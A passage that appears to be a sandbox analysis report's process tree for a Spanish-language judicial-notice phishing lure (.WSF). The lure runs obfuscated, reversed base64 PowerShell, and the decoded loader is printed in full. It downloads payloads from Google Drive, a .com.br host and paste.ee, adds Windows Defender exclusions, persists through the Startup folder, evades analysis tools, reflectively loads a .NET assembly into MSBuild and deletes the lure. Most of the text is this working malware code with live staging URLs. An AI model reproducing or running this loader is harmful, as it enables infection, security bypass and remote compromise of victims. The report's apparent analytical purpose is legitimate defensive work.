'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      PID:4736
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                                        4⤵
                                        • Blocklisted process makes network request
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:6108
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
                                          5⤵
                                          • Blocklisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          PID:6176
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                                            6⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:6676
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                                            6⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            PID:6688
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\tkguu.ps1"
                                            6⤵
                                            • Blocklisted process makes network request
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious use of SetThreadContext
                                            PID:1524
                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                              7⤵
                                              • System Location Discovery: System Language Discovery
                                              PID:5956
                                          • C:\Windows\SYSTEM32\cmd.exe
                                            cmd.exe /c del "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                            6⤵
                                              PID:2460
                                  • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                    "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                    1⤵
                                      PID:3900
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                      1⤵
                                        PID:2832
                                      • C:\Windows\System32\rundll32.exe
                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                        1⤵
                                          PID:3728
                                        • C:\Windows\System32\WScript.exe
                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
                                          1⤵
                                          • Blocklisted process makes network request
                                          • Checks computer location settings
                                          PID:3008
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 